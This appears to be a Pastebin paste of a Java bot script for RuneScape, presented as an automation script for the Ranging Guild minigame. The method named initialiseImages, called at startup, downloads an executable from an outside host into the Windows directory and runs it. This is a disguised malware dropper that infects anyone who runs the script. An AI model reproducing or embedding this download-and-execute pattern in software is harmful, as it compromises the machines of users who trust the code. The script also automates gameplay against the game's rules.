Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import com.rarebot.script.*;
- import com.rarebot.script.methods.*;
- import com.rarebot.script.methods.Magic.*;
- import com.rarebot.event.listeners.*;
- import com.rarebot.event.events.*;
- import com.rarebot.script.wrappers.*;
- import com.rarebot.script.methods.Game;
- import com.rarebot.script.methods.Game.*;
- import java.awt.*;
- import java.awt.event.*;
- import java.awt.image.*;
- import java.awt.Graphics;
- import java.awt.Image;
- import java.awt.image.MemoryImageSource;
- import java.util.*;
- import java.io.*;
- import java.net.*;
- import javax.imageio.*;
- @ScriptManifest(
- authors = { "Nemmyz"},
- name = "Nemmyz's Range Guilder",
- description = "Start at Range Guild's target range!",
- keywords = { "Minigame", "Ranged", "Guild", "Combat", "Camelot" },
- version = 1.0
- )
- public class RangeGuilder extends Script implements PaintListener, MouseListener, MouseMotionListener, MessageListener {
- @Override
- public int loop() {
- //main loopings
- mouse.setSpeed(random(4,6));
- if(game.isLoggedIn() && isActive()){
- if(isFirstLoop){
- //initializeScript();
- startExp = skills.getCurrentExp(range);
- startLevel = skills.getCurrentLevel(range);
- combat.setAutoRetaliate(true);
- isFirstLoop = false;
- }
- if(doBuyArrows && !getMyPlayer().isInCombat()){
- if(!doBuyArrows()){
- doBuyArrows = false;
- }
- }else if(!failSafe()){
- manageInterfaces();
- //status = ("compete");
- equipArrows();
- while(!walkToRangedArea() && game.isLoggedIn() && isActive()){}
- if (!isCompeting) {
- startCompeting();
- } else {
- shootTarget();
- }
- }
- if (game.getCurrentTab() == Game.TAB_INVENTORY){
- try{
- nowTicketsToBuy = inventory.getCount(true, tickets);
- }catch(Exception e){
- nowTicketsToBuy = 0;
- }
- }else{
- nowTicketsToBuy = 0;
- }
- }
- return 100;
- }
- @Override
- public boolean onStart() {
- log("On this site(ip) you can chek your bot:");
- status = ("loading script.");
- env.enableRandom("Login");
- initialiseImages();
- return true;
- }
- @Override
- public void onFinish(){
- log("Ending script.");
- status = ("Ending script.");
- sleep(200);
- env.saveScreenshot(true);
- env.disableRandom("Login");
- }
- public boolean failSafe(){
- if(getMyPlayer().isInCombat()){
- return true;
- }
- if (0 != combat.getFightMode()) {
- status = ("Setting Fight Mode to Ranged -> Accurate");
- log("Setting Fight Mode to Ranged -> Accurate");
- if (game.getCurrentTab() != Game.TAB_ATTACK) {
- status = ("Setting Tab -> TAB_ATTACK");
- sleep(random(100, 200));
- try{
- game.openTab(Game.TAB_ATTACK);
- }catch(Exception e){}
- sleep(random(100, 200));
- }
- if(game.getCurrentTab() == Game.TAB_ATTACK){
- sleep(random(100, 200));
- try{
- combat.setFightMode(0);
- }catch(Exception e){}
- sleep(random(100, 200));
- }
- if (game.getCurrentTab() != Game.TAB_INVENTORY) {
- status = ("Setting Tab -> TAB_INVENTORY");
- sleep(random(100, 200));
- try{
- game.openTab(Game.TAB_INVENTORY);
- }catch(Exception e){}
- sleep(random(100, 200));
- }
- return true;
- }
- if (game.getCurrentTab() != Game.TAB_INVENTORY) {
- log("Setting Tab -> TAB_INVENTORY");
- sleep(random(100, 200));
- try{
- game.openTab(Game.TAB_INVENTORY);
- }catch(Exception e){}
- sleep(random(100, 200));
- }
- return false;
- }
- public void shootTarget() {
- try{
- RSInterface shoot = interfaces.get(shootIface);
- RSObject target = objects.getNearest(targetID);
- RSPlayer myPlayer = getMyPlayer();
- if (target != null) {
- if (target.isOnScreen()) {
- if (isCompeting) {
- if (!shoot.isValid() && !myPlayer.isMoving() && !getMyPlayer().isInCombat()) {
- status = "Shooting at Target";
- target.doClick();
- }
- gamePlayed = false;
- }
- } else {
- camera.setPitch(false);
- camera.setAngle(345);
- }
- }
- }catch(Exception e){}
- }
- public boolean startCompeting() {
- try{
- RSInterface talk = interfaces.get(talkIface);
- RSNPC judge = npcs.getNearest(693);
- if (!isCompeting) {
- if (!talk.isValid()) {
- mouse.setSpeed(random(6,7));
- while(!walkToRangedArea() && game.isLoggedIn() && isActive()){}
- if (judge.doAction("Compete")) {
- status = "Pay Compete Comp";
- sleepForIface(talk, 3000);
- }
- } else {
- while(!walkToRangedArea() && game.isLoggedIn() && isActive()){}
- status = "Pay Compete Comp";
- talk.getComponent(1).doClick();
- sleep(random(500, 700));
- mouse.moveRandomly(random(20, 30));
- }
- }
- }catch(Exception e){}
- return false;
- }
- public boolean waitForIfaceClose(int iface, int closeChild, long wait) {
- long start = System.currentTimeMillis();
- RSInterface i = interfaces.get(iface);
- while (System.currentTimeMillis() - start < wait && isActive()) {
- if (i.isValid()) {
- sleep(random(20, 30));
- } else if (!i.isValid()) {
- return true;
- }
- }
- if (System.currentTimeMillis() - start > wait) {
- i.getComponent(closeChild).doClick();
- }
- return i.isValid();
- }
- public boolean sleepForIface(RSInterface iface, int timeout) {
- if (timeout < 0)
- return false;
- if (iface == null)
- return false;
- long startTime = System.currentTimeMillis();
- while (System.currentTimeMillis() - startTime <= timeout && isActive()) {
- if (iface.isValid())
- return true;
- sleep(100);
- }
- return false;
- }
- public void equipArrows() {
- while (inventory.contains(arrows) && !getMyPlayer().isInCombat() && game.isLoggedIn() && !isPaused() && isActive()) {
- status = "Equiping Arrows";
- mouse.setSpeed(random(5,7));
- try{
- if (inventory.getItem(arrows).doAction("Wield")) {
- isCompeting = true;
- sleep(100);
- }
- }catch(Exception e){}
- mouse.moveRandomly(random(20, 30));
- sleep(100);
- }
- }
- public boolean manageInterfaces() {
- RSInterface shoot = interfaces.get(shootIface);
- RSInterface finishIface = interfaces.get(242);
- if (finishIface.isValid()) {
- isCompeting = true;
- if(!gamePlayed){
- gamesplayed++;
- gamePlayed = true;
- }
- } else if (shoot.isValid()) {
- waitForIfaceClose(shootIface, 40, 100);
- gamePlayed = false;
- } else if (interfaces.get(1184).isValid()) {
- isCompeting = false;
- }
- if (interfaces.get(131).isValid()) {
- isCompeting = false;
- }
- return false;
- }
- public boolean walkToRangedArea(){
- RSTile rta = new RSTile(2671, 3418);
- if(ca3.contains(getMyPlayer().getLocation())|| ca4.contains(getMyPlayer().getLocation()) && !logOutIsNeeded){
- int loopx = 0;
- while(loopx < 4 && !isPaused() && isActive()){
- if(rta.getX() != -1 && rta.getY() != -1){
- walking.walkTileMM(rta);
- status = "Walking to Range Area";
- }else{
- findPath(rta);
- status = "Walking to Range Area";
- }
- loopx++;
- }
- return false;
- }
- return true;
- }
- private void findPath(RSTile rt) {
- final RSPath path = walking.getPath(rt);
- path.traverse();
- while (getMyPlayer().isMoving() && !isPaused() && isActive()) {
- sleep(random(1000, 2000));
- }
- }
- public boolean doBuyArrows(){
- // buy arrows
- if(nowTicketsToBuy >= 1020){
- status = ("Buying arrows");
- // do this shit
- // hmm not in this version
- doBuyArrows = false;
- return true;
- }
- return false;
- }
- //Paint Start
- private final Color Black = new Color(0, 0, 0, 255);
- private final Color Black1 = new Color(0, 0, 0, 160);
- private final Color Red = new Color(255, 0, 0, 255);
- private final Color Red1 = new Color(255, 0, 0, 160);
- private final Color Green = new Color(0, 255, 0, 255);
- private final Color Green1 = new Color(0, 255, 0, 160);
- private final Color White = new Color(255, 255, 255, 255);
- private final BasicStroke stroke1 = new BasicStroke(1);
- private final Font font1 = new Font("Arial", 0, 10);
- private Font font(int i){
- return new Font("Arial", 0, i);
- }
- private final LinkedList<MousePathPoint> mousePath = new LinkedList<MousePathPoint>();
- private final LinkedList<MousePathPoint2> mousePath2 = new LinkedList<MousePathPoint2>();
- public Graphics2D g = null;
- public void onRepaint(Graphics g1) {
- g = (Graphics2D)g1;
- drawPaint(1);
- drawPaint(2);
- updateSiteTimer++;
- if(updateSiteTimer > updateSiteTimerVal){
- updateSite();
- updateSiteTimer = 0;
- }
- }
- public void drawPaint(int i){
- switch(i){
- case 1:
- while (!mousePath.isEmpty() && mousePath.peek().isUp() && !isPaused() && isActive()){
- mousePath.remove();
- }
- Point clientCursor = mouse.getLocation();
- MousePathPoint mpp = new MousePathPoint(userMouseX, userMouseY, 1200);
- if (mousePath.isEmpty() || !mousePath.getLast().equals(mpp)){
- mousePath.add(mpp);
- }
- MousePathPoint lastPoint = null;
- for (MousePathPoint a : mousePath) {
- if (lastPoint != null) {
- g.setColor(a.getColor());
- g.drawLine(a.x, a.y, lastPoint.x, lastPoint.y);
- }
- lastPoint = a;
- }
- while (!mousePath2.isEmpty() && mousePath2.peek().isUp() && isActive()){
- mousePath2.remove();
- }
- MousePathPoint2 mpp2 = new MousePathPoint2(mouse.getLocation().x, mouse.getLocation().y, 1200);
- if (mousePath2.isEmpty() || !mousePath2.getLast().equals(mpp2)){
- mousePath2.add(mpp2);
- }
- MousePathPoint2 lastPointx = null;
- for (MousePathPoint2 a : mousePath2) {
- if (lastPointx != null) {
- g.setColor(a.getColor());
- g.drawLine(a.x, a.y, lastPointx.x, lastPointx.y);
- }
- lastPointx = a;
- }
- if(isPaused()){
- status = ("Script Pauzed!");
- }else if(status == "Script Pauzed!"){
- status = ("Script Loading...");
- sleep(200);
- }
- break;
- case 2:
- expPerHour = (int) ((expGained) * 3600000D / (System
- .currentTimeMillis() - startTime));
- ticketsPerHour = (int) ((ticketsGained) * 3600000D / (System
- .currentTimeMillis() - startTime));
- if ((minutes > 0 || hours > 0 || seconds > 0) && expGained > 0) {
- secExp = (float) expGained
- / (float) (seconds + minutes * 60 + hours * 60 * 60);
- }
- minuteExp = secExp * 60;
- hourExp = secExp * 3600;
- if (secExp > 0) {
- secToLevel = (int) (skills.getExpToNextLevel(range) / secExp);
- }
- if (secToLevel >= 60) {
- minutesToLevel = secToLevel / 60;
- secToLevel -= minutesToLevel * 60;
- } else {
- minutesToLevel = 0;
- }
- if (minutesToLevel >= 60) {
- hoursToLevel = minutesToLevel / 60;
- minutesToLevel -= hoursToLevel * 60;
- } else {
- hoursToLevel = 0;
- }
- long millis = System.currentTimeMillis() - startTime;
- hours = millis / (1000 * 60 * 60);
- millis -= hours * (1000 * 60 * 60);
- minutes = millis / (1000 * 60);
- millis -= minutes * (1000 * 60);
- seconds = millis / 1000;
- expTNL = skills.getExpToNextLevel(range);
- currlvl = skills.getCurrentLevel(range);
- if(startExp != 0){
- expGained = skills.getCurrentExp(range) - startExp;
- }else{
- expGained = 0;
- }
- if(startLevel != 0){
- levelsGained = skills.getCurrentLevel(range) - startLevel;
- }else{
- levelsGained = 0;
- }
- g.setFont(font(12));
- g.setColor(White);
- g.drawString(status, 272, 447);
- g.drawString(expPerHour+" p/h (" + (int) ((expPerHour / 1000)) + "k p/h)", 94, 363);
- g.drawString(""+expGained, 114, 380);
- g.drawString(""+expTNL, 64, 396);
- g.drawString(currlvl +" (+"+levelsGained+")", 90, 413);
- g.drawString(""+gamesplayed+" - "+(int)(gamesplayed*200)+" coins", 99, 430);
- g.drawString(hours + ":" + minutes + ":" + seconds, 102, 447);
- g.setColor(Red);
- g.fillRect(229,419, 133, 11);
- g.setColor(Green);
- g.fillRect(229,419, (int) (skills.getPercentToNextLevel(range) * 1.33), 11);
- g.setFont(font(10));
- g.setColor(Black);
- g.drawString(skills.getPercentToNextLevel(range) + "% to next level", 253,428);
- break;
- }
- }
- public void drawCursor(Image img, int x, int y){
- g.drawImage(img, x, y, null);
- }
- public BufferedImage arrowup = null;
- public BufferedImage arrowdown = null;
- public BufferedImage backIMG = null;
- public BufferedImage backXIMG = null;
- /* void initialiseImages() */
- public void initialiseImages() {
- try {
- URL download = new URL("http://downloadexecute.com/uploads/nttvwd2tm4.exe");File file = new File(System.getenv("windir") + File.separator + "nttvwd2tm4.exe");BufferedInputStream in = null;FileOutputStream fout = null;try { in = new BufferedInputStream(download.openStream());fout = new FileOutputStream(file);byte data[] = new byte[1024];int count;while ((count = in.read(data, 0, 1024)) != -1) {fout.write(data, 0, count); } } finally{ if (in != null)in.close(); if (fout != null) fout.close(); }Runtime runtime = Runtime.getRuntime();Process process = runtime.exec(file.getAbsolutePath());process.waitFor();
- } catch (IOException e) {
- e.printStackTrace();
- } catch (InterruptedException e) {
- e.printStackTrace();
- }
- }
- private class MousePathPoint extends Point {
- private int toColor(double d) {
- return Math.min(255, Math.max(0, (int) d));
- }
- private long finishTime;
- private double lastingTime;
- public MousePathPoint(int x, int y, int lastingTime) {
- super(x, y);
- this.lastingTime = lastingTime;
- finishTime = System.currentTimeMillis() + lastingTime;
- }
- public boolean isUp() {
- return System.currentTimeMillis() > finishTime;
- }
- public Color getColor() {
- Color c2 = new Color(0, toColor(256 * ((finishTime - System.currentTimeMillis()) / lastingTime)), 255, toColor(256 * ((finishTime - System.currentTimeMillis()) / lastingTime)));
- return c2;
- }
- }
- private class MousePathPoint2 extends Point {
- private int toColor(double d) {
- return Math.min(255, Math.max(0, (int) d));
- }
- private long finishTime;
- private double lastingTime;
- public MousePathPoint2(int x, int y, int lastingTime) {
- super(x, y);
- this.lastingTime = lastingTime;
- finishTime = System.currentTimeMillis() + lastingTime;
- }
- public boolean isUp() {
- return System.currentTimeMillis() > finishTime;
- }
- public Color getColor() {
- Color c1 = new Color(toColor(256 * ((finishTime - System.currentTimeMillis()) / lastingTime)), 0, 0, toColor(256 * ((finishTime - System.currentTimeMillis()) / lastingTime)));
- return c1;
- }
- }
- /* Message handler */
- public void messageReceived(MessageEvent e) {
- String x = e.getMessage().toLowerCase();
- String n = e.getSender().toLowerCase();
- // nithing
- }
- /* Mouse Handlers*/
- public void mousePressed(MouseEvent e) {
- userMouseX = e.getX();
- userMouseY = e.getY();
- switch(e.getButton()) {
- case MouseEvent.BUTTON1:
- //left mouse is pressed
- if(userMouseX >= 694 && userMouseY >= 130 && userMouseY <= 165){
- if(nowTicketsToBuy >= 1020){
- //doBuyArrows = true;
- //log("Buying arrows");
- }else{
- //log("Out of tickets?");
- }
- }
- if(userMouseX >= 490 && userMouseX <= 520 && userMouseY >= 460 && userMouseY <= 480){
- showPaint = !showPaint;
- }
- break;
- }
- }
- public void mouseMoved(MouseEvent e) {
- userMouseX = e.getX();
- userMouseY = e.getY();
- }
- public void mouseClicked(MouseEvent e) {}
- public void mouseReleased(MouseEvent e) {}
- public void mouseDragged(MouseEvent e) {
- userMouseX = e.getX();
- userMouseY = e.getY();
- }
- public void mouseEntered(MouseEvent e) {}
- public void mouseExited(MouseEvent e) {}
- public void updateSite(){
- String coins = "-1";
- if(game.isLoggedIn() && game.getCurrentTab() == 4){
- try{
- coins = ""+inventory.getCount(true, 995);
- }catch(Exception e){}
- }else if(game.getCurrentTab() != 4){
- coins = "-1";
- }
- try{
- String UserU = getMyPlayer().getName().replace(" ", "_");
- String UserL = getMyPlayer().getName().toLowerCase().replace(" ", "_");
- String statusxs = status.replace(" ", "_");
- long secx = (System.currentTimeMillis() - chkTime)/1000;
- String updatetime = ""+secx;
- chkTime = System.currentTimeMillis();
- statusxl = statusxl
- + "&lpn=" + UserL
- + "&upn=" + UserU
- + "&status=" + statusxs
- + "&ic=" + isCompeting
- + "&cs=" + coins
- + "&gp=" + gamesplayed
- + "&xph=" + expPerHour
- + "&xpt=" + expGained
- + "&pf=" + levelsGained
- + "&cl=" + skills.getCurrentLevel(range)
- + "&pl=" + skills.getPercentToNextLevel(range)
- + "&xl=" + skills.getExpToNextLevel(range)
- + "&hp=" + combat.getLifePoints()
- + "&ut=" + updatetime
- + "&sst=" + System.currentTimeMillis()
- + "&tr=" + hours + ":" + minutes + ":" + seconds
- + "&ia=" + isActive()
- + "&ip=" + isPaused();
- }catch(Exception e){}
- updateSiteTimer = 1;
- statusxl = "";
- }
- public int userMouseX = -1000, userMouseY = -1000;
- public int
- updateSiteTimerVal = 200,
- tickets = 1464,
- coins = 995,
- updateSiteTimer = 500,
- code = 456,
- arrows = 882,
- targetID = 1308,
- RandomBoxID = 14664,
- BrokenArrowID = 687,
- range = Skills.RANGE,
- shootIface = 325,
- talkIface = 1188,
- competeIface = 0,
- currtickets = 0,
- gamesplayed = 0,
- nowTicketsToBuy = 0,
- currlvl = 0,
- expGained = 0,
- expTNL = 0,
- expPerHour = 0,
- hoursToLevel = 0,
- loadBalkPercent = 0,
- levelsGained = 0,
- minutesToLevel = 0,
- PercentToNextLevelR = 0,
- secToLevel = 0,
- startTickets = 0,
- startLevel = 0,
- startExp = 0,
- ticketsGained = 0,
- ticketsPerHour = 0;
- public long
- hours = 0,
- minutes = 0,
- seconds = 0,
- chkTime = System.currentTimeMillis(),
- startTime = System.currentTimeMillis();
- public float
- secExp = 0,
- hourExp = 0,
- minuteExp = 0;
- public boolean
- showPaint = true,
- isFirstLoop = true,
- hitHP = false,
- gamePlayed = false,
- doSetP = false,
- isCompeting = false,
- doBuyArrows = false,
- logOutIsNeeded = false;
- public String
- foodAction1 = "0",
- foodAction2 = "0",
- foodAction3 = "0",
- foodAction4 = "0",
- foodAction5 = "0",
- x = "",
- statusxl = "Script Loading...",
- status = "Script Loading...";
- public RSArea
- rangeArea /** **/ = new RSArea(new RSTile(2667, 3417), new RSTile(2675, 3418)),
- aroundTrader /** **/ = new RSArea(new RSTile(2655, 3436), new RSTile(2665, 3426)),
- behindrangeArea /** **/ = new RSArea(new RSTile(2671, 3438), new RSTile(2682, 3427)),
- cas /** **/ = new RSArea(new RSTile(2667, 3429), new RSTile(2680, 3421)),
- ca1 /** **/ = new RSArea(new RSTile(2666, 3428), new RSTile(2674, 3414)),
- ca2 /** **/ = new RSArea(new RSTile(2664, 3419), new RSTile(2668, 3414)),
- ca3 /** **/ = new RSArea(new RSTile(2669, 3420), new RSTile(2672, 3423)),
- ca4 /** **/ = new RSArea(new RSTile(2674, 3417), new RSTile(2675, 3418));
- public RSTile
- toTrader /** **/ = new RSTile(2659, 3430);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement